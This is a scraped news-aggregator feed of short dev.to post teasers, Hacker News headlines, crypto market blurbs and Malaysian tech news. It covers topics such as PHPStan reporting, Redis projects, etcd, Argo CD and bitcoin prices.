    During a recent implementation of a customer service platform, I encountered several configuration challenges related to email communication protocols. This experience prompted me to conduct thorough research into SMTP and IMAP protocols, their interactions, and best implementation practices. The knowledge gained proved invaluable for resolving our technical issues, and I'm sharing these insights to benefit others facing similar challenges in their systems architecture. In the digital world, sending and receiving emails are fundamental communication processes. During my recent experience, I realized that understanding how these protocols work behind the scenes can make all the difference, especially when configuring or troubleshooting customer service systems. Emails travel between compute…  ( 5 min )
    Code Quality Check with PHPStan
    Ensuring clean, maintainable code is vital in any Laravel project. While PHPStan is an excellent static analysis tool for identifying code issues, the raw JSON output it generates isn’t always human-friendly. That’s where a custom reporting script comes in handy. In this post, I’ll walk you through a Bash script I use in my Laravel projects to parse and beautify PHPStan output. This script splits issues by identifier and generates a neat summary for quick analysis. Before using the script, make sure you have PHPStan and jq installed. You can install PHPStan via Composer: composer require --dev phpstan/phpstan larastan/larastan Create PHPStan config file at the root directory: touch phpstan.neon.dist Then paste the following configuration: includes: - vendor/larastan/larastan/extensio…  ( 9 min )
    AI Recommendation Engine with Redis:Real-Time AI Innovators
    This is a submission for the Redis AI Challenge: Real-Time AI Innovators. What I Built In this project, I developed a Real-Time AI Recommendation Engine that leverages Redis as the backend database for fast and efficient vector search. The system uses Sentence-Transformers to convert text data into dense vector embeddings, which are stored and searched using Redis. The user interface is built with Tkinter to provide an interactive search experience. Key Features: Real-time AI Recommendations: Users can input a search query, and the engine returns the top 5 most relevant documents based on semantic similarity. Redis for Vector Search: The engine uses Redis for storing document embeddings and performs KNN (K-Nearest Neighbor) searches in real-time. Text Embedding: Text data is transfor…  ( 4 min )
    E-Commerce System Powered by Redis: Beyond the Cache
    This is a submission for the Redis AI Challenge: Beyond the Cache. What I Built Product Management: Order Processing: Inventory Updates: Demo Main Product Management Dashboard Order Processing Interface Redis running on docker container Project Link https://github.com/CliffordIsaboke/Real-Time-AI-Innovators-Redis-Beyond-the-Cache-.git How I Used Redis 8 Primary Database: Search Functionality: Streams & Pub/Sub: Streams are utilized for order management, allowing new orders to be processed and tracked in real-time. Pub/Sub is used for live inventory updates. When an inventory change happens (e.g., a product is sold), Redis sends a message to the app, updating the inventory display in real-time across all connected clients. The system also makes use of Redis' persistence features to ensure data is stored safely even in the event of a crash. Redis is used here not just for caching, but as a reliable, real-time database with added search and messaging capabilities, all in one.  ( 4 min )
    Untitled
    Check out this Pen I made!  ( 2 min )
    Title: Google's New Web Guide Search Experiment: Organizing Search Results with AI
    Title: Google's New Web Guide Search Experiment: Organizing Search Results with AI Introduction Google, the world's leading search engine, is constantly evolving to provide the best possible search experience to its users. In its latest effort, Google has introduced a new Search Labs experiment that utilizes AI to organize search results in a more efficient and effective manner. This new feature, known as Web Guide, is designed to help users find the information they need quickly and easily. What is Web Guide? Web Guide is an AI-powered search experiment that organizes search results based on a user's query. The system uses machine learning algorithms to analyze the user's query and determine the most relevant results to display. The results are then organized into categories, making it …  ( 4 min )
    I Built an AI Toolset That Applies to Jobs While I Sleep (You Should Use It Too)
    The Problem Every Developer Knows Too Well Picture this: You’re a talented developer, but you’re spending 15+ hours a week copying and pasting the same information into countless job application forms. Sound familiar? After watching too many brilliant developers burn out from the soul-crushing monotony of job applications, I decided to solve this problem the way we solve everything else—with code. What started as a weekend project to automate my own job search has evolved into apply.stream—a comprehensive AI toolset that handles the entire application process. Here’s what makes it different: Smart Job Discovery Instead of manually browsing job boards, our cloud-based AI continuously scans thousands of platforms and intelligently matches opportunities to your resume in real-time. No mor…  ( 4 min )
    Title: Thinking Machines Announces New Product Release with Significant Open Source Component
    Title: Thinking Machines Announces New Product Release with Significant Open Source Component Introduction: Thinking Machines, a startup backed by $2 billion in funding, has announced that it will be releasing a new product in the coming months. This news comes at a time when OpenAI's open-weight model is facing uncertainty, and Thinking Machines could potentially capture the attention and interest of developers. Product Overview: The new product from Thinking Machines will feature a significant open source component, which is likely to attract developers who are looking for innovative solutions to complex problems. The company has not yet disclosed the specifics of the product, but it is expected to be a game-changer in the field of AI. Open Source Component: Thinking Machines' decision…  ( 4 min )
    Title: Bitcoin Options Gamma Pin at $123k: A Technical Analysis
    Title: Bitcoin Options Gamma Pin at $123k: A Technical Analysis Bitcoin has recently set a new all-time high above $121,000, and the options market on Deribit is showing clear signs of hedging pressure and gamma-driven pinning around this level. In this technical analysis, we will explore the current market conditions and how they may impact Bitcoin's future price movements. Open Interest and Premium Distribution The options market on Deribit has seen a steady recovery in open interest since the early June dip, rising from 335,000 BTC to nearly 394,000 BTC as of July 14. The total notional value is back to $46.87 billion on a dollar basis, with Deribit accounting for 81%. BTC's price increase over the same period has contributed to the rise in notional, but the surge in total contracts s…  ( 5 min )
    游戏行业财报
    明白了!下面是不含中国公司的全球知名游戏上市公司【估值和营收对比表】,只包含美股、港股(非中国内地)、日股、韩股等地区的游戏公司。 公司名称 股票代码 估值 / 市值(约) 2023 年营收(约) 净利润(约) 代表作品 / 业务重点 备注 微软(游戏业务部分) MSFT 2.5 万亿美元(全公司) 游戏业务营收约 210 亿美元 约 60 亿美元(游戏部分) Xbox、动视暴雪、Bethesda、Mojang 游戏占比约8% 任天堂 7974.T (东证) 630 亿美元 180 亿美元 约 50 亿美元 马里奥、塞尔达、Switch 主机游戏霸主 Take-Two Interactive TTWO 250 亿美元 40 亿美元 约 6 亿美元 GTA、NBA 2K、荒野大镖客 独立游戏巨头 Electronic Arts (EA) EA 360 亿美元 60 亿美元 约 10 亿美元 FIFA、战地、模拟人生 体育类和FPS强 Sea Limited (Garena) SE 350 亿美元 60 亿美元 5 亿美元 《Free Fire》手游,电商业务 东南亚最大游戏厂商 Unity Software U 140 亿美元 15 亿美元 亏损 1.5 亿美元 游戏引擎,全球开发者广泛使用 AI和3D内容增长迅速 Roblox Corp RBLX 200 亿美元 20 亿美元 亏损 2 亿美元 Roblox 平台,青少年社交游戏平台 用户年轻,增长强劲 Krafton (PUBG) 259960.KQ 120 亿美元 20 亿美元 约 3 亿美元 绝地求生 韩国游戏龙头 Nexon 3659.T 80 亿美元 15 亿美元 约 2 亿美元 冒险岛、地下城与勇士 韩国老牌游戏公司 Sony (索尼游戏业务) SONY(美股ADR) / 6758.T 1.2 万亿美元(全公司) 游戏及网络营收约 240 亿美元 约 40 亿美元 PlayStation、Bungie、游戏工作室 主机及软件巨头 Bandai Namco 7832.T 160 亿美元 28 亿美元 约 3 亿美元 高达、铁拳、太鼓达人 日本著名游戏厂商 KONAMI 9766.T 85 亿美元 12 亿美元 约 1.5 亿美元 实况足球、寂静岭、恶魔城 日本老牌游戏公司 微软、索尼、任天堂为三大主机平台巨头,收入和利润规模巨大; Take-Two、EA、Bandai Namco、KONAMI均为欧美及日本传统游戏发行商,拥有众多知名IP; Sea Limited是东南亚市场领先的游戏和数字娱乐企业,Garena旗下游戏极具人气; Unity、Roblox代表新兴技术平台和社交游戏生态,未来潜力大; 韩国Nexon和Krafton是韩国最具影响力的游戏公司。 你想先了解哪一块?  ( 3 min )
    Sostenibilidad no es solo una etiqueta es ventaja competitiva y sostenible. Arquitectos, diseñadores tenemos una gran responsabilidad nuestras decisiones afectan no solo el diseño la seguridad, también la economía y el ambiente
    AWS y el Pilar de la Sostenibilidad: Futuro Responsable, Ventaja Sostenible Diana Castro ・ Jul 21 #aws #cloud #sostenibilidad #productivity  ( 3 min )
    AI's Rapid Role in Spotting Fake News
    Ever Wonder How AI Detects Fake News Fast? Here’s a wild stat to kick things off: Fake news spreads six times faster than real news on Twitter. Six times! 😳 Let that sink in. In a world where misinformation zips through timelines faster than your group chat on New Year’s Eve, it’s no wonder we've turned to AI to help us make sense of it all. As a journalist or fact-checker, you’ve probably felt the heat. That feeling when a “breaking” headline hits, and you're scrambling to verify it before it gets picked up elsewhere. Or worse—having to retract something that turned out to be misleading. Yep, we’ve all been there. That’s where AI algorithms step in like a backstage superhero, quietly scanning, sorting, and flagging sketchy stories before they gain traction. It’s not magic (even though …  ( 13 min )
    🧛‍♂️ How to Apply the Dracula Theme to Windows Terminal in 5 Minutes
    Customizing your terminal can be a time-consuming task - choosing the right colors, fonts, and UI tweaks that don’t strain your eyes after hours of coding. But you don’t need to start from scratch. There are popular, ready-to-use themes designed specifically for developers. One of the most beloved themes in the dev community is Dracula. In this quick guide, I’ll show you how to apply the Dracula theme to Windows Terminal in less than 5 minutes. Navigate to draculatheme.com and click on Windows Terminal under the list of supported applications. You'll see a set of icons representing supported apps. Look for the Windows Terminal icon and click it. Launch Windows Terminal, then click the dropdown arrow in the top menu bar and select Settings. Or use the shortcut: Ctrl + , This opens the gr…  ( 4 min )
    Daily JavaScript Challenge #JS-235: Sum of Unique Elements in an Array
    Daily JavaScript Challenge: Sum of Unique Elements in an Array Hey fellow developers! 👋 Welcome to today's JavaScript coding challenge. Let's keep those programming skills sharp! Difficulty: Easy Topic: Arrays Given an array of integers, write a function that returns the sum of the elements that appear only once. https://www.dpcdev.com/ Fork this challenge Write your solution Test it against the provided test cases Share your approach in the comments below! Check out the documentation about this topic here: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map How did you approach this problem? Did you find any interesting edge cases? What was your biggest learning from this challenge? Let's learn together! Drop your thoughts and questions in the comments below. 👇 This is part of our Daily JavaScript Challenge series. Follow me for daily programming challenges and let's grow together! 🚀 javascript #programming #coding #dailycodingchallenge #webdev  ( 19 min )
  • Open

    Show HN: QuickTunes: Apple Music player for Mac with iPod vibes
    Comments  ( 2 min )
    Asyncio: A library with too many sharp corners
    Comments  ( 18 min )
    We revamped our docs for AI-driven development
    Comments  ( 18 min )
    Personal aviation is about to get interesting (2023)
    Comments  ( 29 min )
    Getting into Flow State with Agentic Coding
    Comments  ( 7 min )
    Torqued Accelerator Using Radiation from the Sun (Tars) for Interstellar Payload
    Comments  ( 2 min )
    Paul Dirac and the religion of mathematical beauty (2011) [video]
    Comments
    Coronary artery calcium testing can reveal plaque in arteries, but is underused
    Comments
    Resizable Structs in Zig
    Comments  ( 5 min )
    Teach Yourself Programming in Ten Years (1998)
    Comments  ( 9 min )
    OCaml Programming: Correct and Efficient and Beautiful
    Comments  ( 2 min )
    Epic Recall, Epic Fail
    Comments
    Arvo Pärt at 90
    Comments  ( 17 min )
    Documents detail U.S. soldiers shot by their own Sig Sauer guns (2024)
    Comments  ( 15 min )
    The Sail instruction-set semantics specification language
    Comments  ( 67 min )
    Test Results for AMD Zen 5 by Agner Fog
    Comments  ( 3 min )
    What Went Wrong for Yahoo
    Comments  ( 12 min )
    Great Oxidation Event
    Comments  ( 33 min )
    Where Are Vacation Homes Located in the US?
    Comments  ( 29 min )
    Svalbard winter warming is reaching melting point
    Comments  ( 18 min )
    .gitignore Is Inherently Sisyphean
    Comments  ( 6 min )
    Optimi-Zi(n)g Sudoku-Solving
    Comments  ( 5 min )
    Microsoft Flight Simulator 2024: WebAssembly SDK
    Comments  ( 9 min )
    Earth Has Tilted 31.5 Inches. That Shouldn't Happen
    Comments  ( 20 min )
    Ageing accelerates around age 50 ― some organs faster than others
    Comments  ( 11 min )
    How We Rooted Copilot
    Comments  ( 10 min )
    Write "Freehold" Software
    Comments  ( 3 min )
    Clj-coll: Clojure collections and sequences in Common Lisp
    Comments  ( 90 min )
    Consciousness and being: How humans and AI influence each other
    Comments  ( 30 min )
    The Rise of Shippable Microfactories
    Comments  ( 24 min )
    I am a SOTA 0-shot classifier of your slop
    Comments  ( 4 min )
    The natural diamond industry is getting rocked. Thank the lab-grown variety
    Comments  ( 18 min )
    Bringing a Decade Old Bicycle Navigator Back to Life with Open Source Software
    Comments  ( 11 min )
    Fuck dopamine, we're voluntarily breaking our own brains
    Comments
    The UK’s new age-gating rules are easy to bypass
    Comments  ( 23 min )
    UK's New Age Verification Requirement Thwarted in the Simplest Way Imaginable
    Comments  ( 13 min )
    Rust on Every GPU
    Comments  ( 12 min )
    From Async/Await to Virtual Threads
    Comments  ( 8 min )
    2D to 3D model and 3D print it
    Comments
    Show HN: Color Me Same – A new kind of logic game
    Comments
    Ambigrammia: Between Creation and Discovery (Hofstadter, 2025)
    Comments  ( 9 min )
    Show HN: Auto Favicon MCP Server
    Comments  ( 5 min )
    When JavaScript Decided My Day Starts at 9AM
    Comments  ( 2 min )
    Simon Tatham's Portable Puzzle Collection
    Comments  ( 7 min )
    Turn any diagram image into an editable Draw.io file. No more redrawing
    Comments  ( 37 min )
    Why I Do Programming
    Comments  ( 3 min )
    Users claim Discord's age verification can be tricked with video game characters
    Comments  ( 13 min )
    A grand tour through the essays of Lewis H. Lapham
    Comments  ( 12 min )
    Viral Language
    Comments
    What if AI made the world’s economic growth explode?
    Comments  ( 14 min )
    SQLx – The Rust SQL Toolkit
    Comments  ( 26 min )
    CCTV Footage Captures the First-Ever Video of an Earthquake Fault in Motion
    Comments  ( 6 min )
    DJI couldn't confirm or deny it disguised this drone to evade a US ban
    Comments  ( 28 min )
    50x rendering speed improvements in Hologram (Elixir web framework)
    Comments  ( 5 min )
    Show HN: CUDA Fractal Renderer
    Comments  ( 4 min )
    Anker is no longer selling 3D Printers
    Comments  ( 28 min )
  • Open

    XRP dip was a ‘healthy correction,’ Ether supply shock: Hodler’s Digest, July 20 – 26
    Analysts call XRP’s dip on Thursday a healthy correction, while Galaxy Digital’s CEO says Ether could outperform Bitcoin within the next six months, and other news.
    Solo Bitcoin miner scores $373,000 block reward
    Solo miners successfully adding blocks to the Bitcoin blockchain network is a rare event, but still not impossible in 2025.
    'Parabolic bull markets and devastating bear markets are over’ — BTC analyst
    Bitcoin exchange-traded funds (ETFs) have permanently reduced volatility and altered Bitcoin market dynamics, according to analysts.
    Bitcoin bulls 'in control’ as BTC price rebounds to $118K
    Bitcoin delivers a classic liquidity grab with a correction below $115,000 only to bounce back, while traders eye a BTC price showdown with new all-time highs next.
    Demographics will 'leapfrog' Bitcoin adoption in Pakistan — Bilal Bin Saqib
    A young and tech-savvy population, combating inflationary pressures, is driving Bitcoin adoption and a new financial system in Pakistan.
    XRP wallet linked to Chris Larsen still has $9B to sell, analyst warns
    XRP selling pressure could mushroom if the recent 50 billion XRP sale from a wallet linked to Ripple's Chris Larsen was "just the warm-up."
    Wrench attacks drive crypto investors to centralized custodians
    Wrench attacks on prominent crypto executives are shaping the narrative on centralized crypto custody.
    Japan’s ‘slow’ approval culture stifles crypto adoption: Expert
    Japan’s slow and risk-averse approval system, not taxes, is the real barrier driving Web3 startups and liquidity offshore, says WeFi CEO Maksym Sakharov.
    What happens if Bitcoin reaches $1 million?
    A $1-million Bitcoin would upend global finance, reshaping wealth, inflation, energy markets and the very role of fiat currencies.
    Tyler Winklevoss claims JPMorgan blocked Gemini over public criticism
    Tyler Winklevoss claims JPMorgan paused Gemini's onboarding after he criticized the bank’s data access fees, calling the move anti-competitive.
    Spot Ether ETFs log $453M in inflows, extend streak to 16 days
    BlackRock's ETHA leads with $440 million as Ether ETFs stretch their inflow streak to 16 days, pushing total net assets to $20.66 billion.
    Ether’s ‘extreme euphoria’ social chatter could be a red flag for price
    Ether's surge in social dominance signals a potential risk of a price correction, according to Santiment.
    Ripple CTO regrets the time he censored Ozzy Osbourne
    The Ripple executive says he felt really bad about the situation and "it wasn’t the authentic interaction with celebrities" that he was aiming for.
  • Open

    Crypto Still Seen as 'Risky' Among U.S. Investors Despite Ownership Surging 8x Since 2018: Survey
    Despite growing ownership rates, most Americans view cryptocurrency as a risky investment, with 64% of U.S. investors considering it "very risky."
    A Japanese AI Firm Plans to Buy 3,000 Bitcoin Over Next 12 Months
    The decision to invest in bitcoin was driven by the depreciation of fiat currencies, rising global financial uncertainty, and a desire to diversify its asset portfolio.
    Bitcoin Hits $1T Realized Cap as Price Holds Above $118K After $9B BTC Sale by Satoshi-Era Whale
    Bitcoin remains above $118,000 after achieving a $1 trillion realized market cap, a key milestone reflecting its growing role in the global financial system.
    State of Crypto: The Senate Responds to Clarity Act
    The Senate Banking Committee introduced a discussion draft bill to address crypto market structure issues.
    Coinbase’s Base App Rebrand Sends a Little-Known Token Soaring 440% Amid SocialFi Boom
    The Base App's integration with Zora and Farcaster has made it easier for Web3 users to both discover and access these platforms.
    BNB Rebounds to $780 After $520M Windtree Buy Commitment, Shows Signs of Stabilizing
    The rebound was fueled by Windtree Therapeutics' commitment to invest $520 million in BNB for its corporate treasury.
    SUI Soars 15% as Analysts Predict Breakout to as High as $10 on Surging Momentum
    SUI jumps past $4.23 with 15% daily gain as crypto analysts say momentum is building fast and a decisive breakout could trigger an explosive leg higher.
    Winklevoss Claims JPMorgan Halted Gemini Onboarding After Data Access Fees Criticism
    JPMorgan defended its decision without directly addressing Gemini, stating that it aims to curb misuse and protect consumers.
    HBAR Surges 12% Following Robinhood Listing, Making it Top Daily Gainer Among Top 20
    HBAR rallies after being added to Robinhood’s crypto lineup, while a technical analyst suggests $3.30 could be possible if the token clears a key resistance level.
    Analysts See XRP Hitting $4, Solana $250 as ETF Buzz Builds
    XRP’s ETF exposure is currently limited to futures, but analysts say any progress toward a spot product could drive a second wave of inflows, particularly if the SEC maintains its softened posture post-March ruling.
  • Open

    Why AI is making us lose our minds (and not in the way you’d think)
    The question isn’t, “will you use AI?” The question is, “what kind of AI user do you want to be: driver or passenger?”  ( 7 min )
    Meta announces its Superintelligence Labs Chief Scientist: former OpenAI GPT-4 co-creator Shengjia Zhao
    The move underscores Meta’s strategy of spending aggressively now to secure a dominant position in what it views as the next foundational technology platform.  ( 7 min )
  • Open

    Secretlab Launches New OTTO Adjustable Legrest With PlushCell Memory Foam
    Secretlab has officially launched the OTTO Adjustable Legrest, and its description aptly describes what it does. The product serves as an expansion for the user’s feet, as well as for the brand’s portfolio of footrest and legrests. “Many of us instinctively want to kick up our feet when we sit down, and often improvise by […] The post Secretlab Launches New OTTO Adjustable Legrest With PlushCell Memory Foam appeared first on Lowyat.NET.  ( 33 min )
    Pebble Reclaims Its Trademark From Google
    Pebble, one of the pioneers of the modern smartwatch era, is making a comeback – and it’s bringing its name back too. In a surprise update, Core Devices CEO and Pebble founder Eric Migicovsky revealed that the company has successfully reclaimed the Pebble trademark, allowing the brand to once again wear its iconic name. “Great […] The post Pebble Reclaims Its Trademark From Google appeared first on Lowyat.NET.  ( 34 min )
    Mitsubishi Exits From Chinese Automotive Market
    Mitsubishi Motors Corporation has recently announced the termination of its participation in the joint venture partnership with Shenyang Aerospace Mitsubishi Motors Engine Manufacturing Co., Ltd. (SAME). The reason given for the termination, according to the automaker, is the rapid transformation of China’s automotive industry, which is now focusing on new energy vehicles (NEVs). SAME was […] The post Mitsubishi Exits From Chinese Automotive Market appeared first on Lowyat.NET.  ( 34 min )
    CMCF Now Part Of Google Priority Flagger Program
    Content moderation is a messy affair for both international tech giants as well as local organisations. So it’s always nice to see the two joining hands to work towards the common goal of a safer digital environment. An example of this is one between Google and the Communications and Multimedia Content Forum of Malaysia (CMCF), […] The post CMCF Now Part Of Google Priority Flagger Program appeared first on Lowyat.NET.  ( 33 min )
    CelcomDigi Launches AI-Powered Cyber Security Solutions For Businesses
    CelcomDigi has unveiled a new range of cyber security solutions aimed at aiding Malaysian enterprises in defending against digital threats. These AI-driven services offer real-time protection across three core areas, namely Managed Security Services, Strategy and Assessment, and Infrastructure Security. To start off, the Managed Security Services are focused on helping businesses identify and respond […] The post CelcomDigi Launches AI-Powered Cyber Security Solutions For Businesses appeared first on Lowyat.NET.  ( 33 min )

  • Open

    Rumbo AWS Certified Security Specialty – Bitácora de Vuelo de una Builder - ASFF
    Una de mis metas más ambiciosas para este año —que incluso dejé por escrito en un artículo — es convertirme en AWS Ambassador. Claro, ese reconocimiento no se otorga por azar. Depende de varios factores: el trabajo diario como parte de un partner, la creación de contenido como artículos, conferencias, investigación, y también el nivel de certificación técnica y otros factores más. De todo eso, solo hay algo que realmente está en mis manos: mi esfuerzo y constancia. Uno de los hitos clave en ese camino es aprobar dos certificaciones avanzadas. Una de las que seleccioné: AWS Certified Security – Specialty. Esta certificación cubre temas que no solo son requeridos y complejos, sino también profundamente útiles y apasionantes. Representa un verdadero reto, y aunque puede que me toque intentarl…  ( 5 min )
    Post-Hackathon Blue Is Real😔
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. Post-hackathon blue is real. As a first-time vibe coder with zero technical background, I took a leap and tried my hand at Bolt. To my surprise, I created my very first web app: FriendCards. Think of it as a lightweight personal CRM — like Salesforce, but for your relationships. It helps you keep track of the little things: what people like or dislike, what you last talked about, special dates or memories — so connections don’t fade just because life gets busy. This was a deeply personal milestone for me. I still remember the rush of submitting my pitch, heart pounding with excitement. Every late-night debugging session was worth it. As a one-woman team, I learned so much — from shaping a product idea…  ( 4 min )
    What Traffic Lights Can Teach Us About Computer Deadlocks
    From red lights to frozen apps, the rules that keep traffic — and your computer — moving smoothly. Ever been stuck at a red light forever? Your computer has the same issue with its programs! Picture this: You're at a busy intersection. Cars from all four directions want to go through at the same time. If everyone just floors it, you get a massive crash. Now imagine your computer: Multiple programs all want to use the printer at the same time. If they all try to print simultaneously, you get a mess. Same problem, different scale. Deadlock happens when everyone is waiting for everyone else, and nobody can move. It's like this classic scenario: 🚗 Traffic Version: North-bound cars are waiting for East-bound cars to clear the intersection East-bound cars are waiting for South-bound cars So…  ( 5 min )
    Security news weekly round-up - 25th July 2025
    We have 5 articles to review in this week's edition. All 5 articles cover different threats that can affect me and you. Some are popular, e.g. malware, phishing, and vulnerabilities. While others— privacy issues surrounding the use of AI and browser-based cryptojacking attacks— not so much. For privacy and security, think twice before granting AI access to your personal data The article title is a clear warning and also advice. If you're not ready to share some of your data with your favorite AI-powered application, don't give it access at all. From the article: There are serious security and privacy risks associated with using AI assistants that rely on your data. In allowing access, you’re instantly and irreversibly handing over the rights to an entire snapshot of your most personal in…  ( 14 min )
    LearnSync – A Unified Knowledge Explorer
    This is a submission for the Algolia MCP Server Challenge LearnSync is a unified search engine for developers that aggregates and ranks learning content from three major platforms: DEV.to articles GitHub repositories YouTube tutorials Whether you're diving into a new framework or exploring a deep-dive into Web3, LearnSync brings the best learning materials across sources into one clean, fast, searchable interface. Live App: learnsyncsub.netlify.app GitHub Repository: https://github.com/pulkitgovrani/LearnSync Video Walkthrough: I leveraged the Algolia MCP Server to power the unified search layer across content types. DEV.to: I used their public /articles endpoint, supporting filters like tag, username, page, and state to fetch fresh and relevant articles. Example structure: const url = …  ( 4 min )
    Test title
    testing content asdadasdad  ( 2 min )
    Clipper: Orchestrating Amazon Q with Algolia MCP for Read-Later Link Management
    This is a submission for the Algolia MCP Server Challenge I've created a CLI agent powered by Amazon Q that indexes your links (like articles or blog posts) and allows you to retrieve them using natural language, all powered by Algolia MCP. This project offers a creative approach to building a useful CLI agent with minimal technical overhead. By using Amazon Q, we get a ready-made AI assistant with MCP support. When combined with Algolia MCP, it gains the superpower to save your data in a queryable format. This means you can retrieve your information using natural language, letting the LLM do the heavy lifting. Algolia MCP provides LLMs with powerful indexing and search capabilities, while Amazon Q offers an interface to interact with an AI assistant directly within the terminal. Amazon Q'…  ( 5 min )
    AI in Freight: Cutting Emissions with Smarter Load Optimization
    The logistics industry is being forced to rethink everything—from how freight is routed, to how trailers are loaded, to how trucks are maintained. At the heart of this transformation is Artificial Intelligence (AI), which is quietly becoming one of the most valuable tools in transportation planning. We’re not just talking about futuristic self-driving trucks. Instead, the real disruption is happening behind the scenes: in how AI is optimizing mid-mile logistics, reducing empty miles, and even helping companies meet increasingly strict emissions targets. The Problem: Inefficiency in the Freight Chain The industry has long accepted this as unavoidable, but today, AI is offering a better solution. Using load-matching algorithms, real-time traffic data, vehicle telematics, and route optimizati…  ( 5 min )
    Untitled
    Check out this Pen I made!  ( 2 min )
    Smart Goal Planner -Phase 2 project
    My Phase 2 React Project: Smart Goal Planner Introduction _ About the Project_ Add savings goals Track deposits View progress with a progress bar Delete or edit goals It uses: React (for building components) JSON Server (for mock backend) useState and useEffect Lessons Learned_** How to lift state up and pass props between components. How to fetch data using useEffect and display it. How to manage controlled forms in React. How to map over arrays to dynamically render items. Styling using CSS and adding hover effects. Challenges useEffect to only fetch once. I learned that I had to include the correct dependency array. I also struggled with form validation but overcame it using basic JavaScript logic. Final Thoughts Link to Project View My Project Here _ Source Code_ GitHub Repo  ( 3 min )
    Docker for QAs: Playwright Tests On Docker
    In the dynamic world of QA, agility and reliability in testing are crucial. Docker emerges as a powerful ally, offering a standardized and replicable environment to automate your tests with Playwright. In this article, we will embark on a journey to optimize your tests with Docker, from installation to execution. Docker was launched in 2013 by the company dotCloud, now known as Docker, Inc. Created by Solomon Hykes, Docker revolutionized the way developers and operations teams handle application deployment, providing an efficient and lightweight solution for creating, deploying, and running containers. This innovation has significantly facilitated the management of development and production environments, ensuring consistency and scalability. Docker simplifies continuous integration and co…  ( 7 min )
    Just connected my Twitter to dev.to! Follow along @sanstack as I share and engage in backend engineering insights, Adobe Ecommerce (magento2) explorations, and the occasional tech rants that spark real solutions. Let’s build better, smarter. #DevCommunity
    A post by Sanjeev Sarkar  ( 3 min )
    Day 5. Advanced Linux Shell Scripting for DevOps Engineers with User Management
    Welcome to day 5 of the #90daysDevOpschallenge, our focus today is diving into advanced Linux shell scripting, focusing on advanced user management an integral part for anyone who's a DevOps Engineer. On day 5, we will work on user management tasks like, Create Directories using Shell Script (bulk user creation) Create a Script to Backup All Your Work Create Directory ** # Check if exactly 3 arguments are provided if [ $# -ne 3 ]; then echo "Usage: $0 " exit 1 fi # Assign arguments to variables base_name=$1 start=$2 end=$3 # Loop through the range and create directories for ((i=start; i<=end; i++)); do dir="${base_name}${i}" mkdir -p "$dir" echo "Created directory: $dir" done ./createDirectories.sh day 1 90 ./createDirectories.sh…  ( 4 min )
    Guidelines on Providing Storage for a New Company App Part 2
    CONFIGURE THE STORAGE ACCOUNT TO USE A CUSTOMER-MANAGED KEY STORED IN THE KEY VAULT. Before continuing, make sure to assign the Key Vault Crypto Service Encryption User role to the managed identity. A: In the Azure portal, search for Resource groups and select it from the results. B. Select your Resource Group that you have been operating on (RG1) C. On the Resource Group page(RG1) Go to the Access Control (IAM) blade. Click on + Add Select Add role assignment D. Now on the Role page, Click on the Job functions roles page, Search for the Key Vault Crypto Service Encryption User role Select the search result.(Key Vault Crypto Service Encryption User role) Then click Next E. On the Member page, Click on Managed Identity. Click on + Select Members. On the Drop-down on right-hand…  ( 5 min )
    Building and learning at lightning speed with Bolt!
    Would like to start of by saying that I'm incredibly grateful for the opportunity to take part in such a historic hackathon. A heartfelt thank you to the organizers for equipping us with an amazing builder pack, powerful tools, and inspiring challenges that pushed us to explore, innovate, and grow beyond our limits. Bolt proved to me once again that, “learning by building is the best approach to learning.” #BuildSomething Below I’ll briefly describe my experience using Bolt to build the 4 projects I’ve submitted to the World’s Largest Hackathon: join-carnival.online Background Between 2022 and 2024, I had the meaningful opportunity to contribute to building a web-based app that supported a non-profit in organizing a real-world half-day carnival—an event full of games, food, an…  ( 10 min )
    🚀 The Rise of Adapters: Reimagining JavaScript Tooling in 2025
    🔄 From Framework Lock-in to Flexible Tooling The JavaScript world has entered a renaissance. No longer are we tied into monolithic frameworks or rigid ecosystems. Instead, a wave of adapter-based tools is giving developers flexibility, portability, and reuse across frameworks, without sacrificing performance or ergonomics. TanStack Store is a lightweight, type-safe reactive store built independently from any framework. That means your state logic—derivations, updates, batching—runs identically in React, Solid, Vue, Angular, Svelte, or even vanilla JS/TS. For each framework (React, Angular, Solid, Vue, Svelte), adapters translate the core reactive store into framework-native constructs—like signals in Angular or fine-grained updates in Solid. Your business logic and state manipulation re…  ( 4 min )
    SnippetSearch: Code Snippets Discovery Engine for Developers
    This is a submission for the Algolia MCP Server Challenge SnippetSearch is a comprehensive code snippet discovery and management platform built to help developers find, save, and organize useful code snippets from multiple sources. It aggregates content from Dev.to, Hashnode, CSS-Tricks, Smashing Magazine, and more using RSS and APIs, then enables a seamless search experience powered by Algolia. Real-time Search: Powered by Algolia InstantSearch.js Multi-source Indexing: Dev.to API, Hashnode RSS, CSS-Tricks, Smashing Magazine & more Bookmarks: Save your favorite snippets (persisted via localStorage) Smart Tagging: Automatic tag extraction from articles Mobile First: Fully responsive interface Clean UI: Built with Tailwind CSS Fast & Optimized: Minimal bundle size and fast builds Frontend: …  ( 4 min )
    A Complete Guide to etcd: The Distributed Key-Value Store Powering Cloud Infrastructure
    etcd is a distributed key-value store designed for reliability, high availability, and consistency. It is a Cloud Native project that powers much of the tools utilized in the Cloud Ecosystem today. It is used projects like Kubernetes, CoreOS, OpenShift, Cloud Foundry any many more. It is primarily used to store configuration, state and metadata in Cloud Systems. This article will take you through a complete guide to understanding etcd to the point of being able to integrate it into your project. We shall cover how to install it, setup a cluster, store and query etcd, operating and managing etcd and many more concepts. By the end of this blog article, you will have a solid understanding of etcd. This article is accompanied with a GitHub repository containing reference code and config files.…  ( 10 min )
    [Boost]
    Best AI Code Generators You Should Know If You Want To Stay Ahead🚀 Kiran Naragund ・ Jul 25 #webdev #programming #javascript #productivity  ( 2 min )
    Argo CD: A Cornerstone in the GitOps Revolution for Kubernetes
    Argo CD: A Cornerstone in the GitOps Revolution for Kubernetes Introduction In the rapidly evolving world of cloud-native technologies, the tools we choose to manage our infrastructure often dictate our ability to scale and innovate. The 2025 CNCF End User Survey reveals a significant milestone: Argo CD is now the dominant GitOps solution, managing nearly 60% of Kubernetes clusters. This post delves into why Argo CD's adoption is soaring and what this means for the future of software delivery in Kubernetes environments. Argo CD leverages the principles of GitOps—a paradigm where Git repositories serve as the single source of truth for application infrastructure. By continuously synchronizing the state defined in Git with what's deployed in Kubernetes clusters, Argo CD automate…  ( 5 min )
    The Octocat Isn’t What It Seems
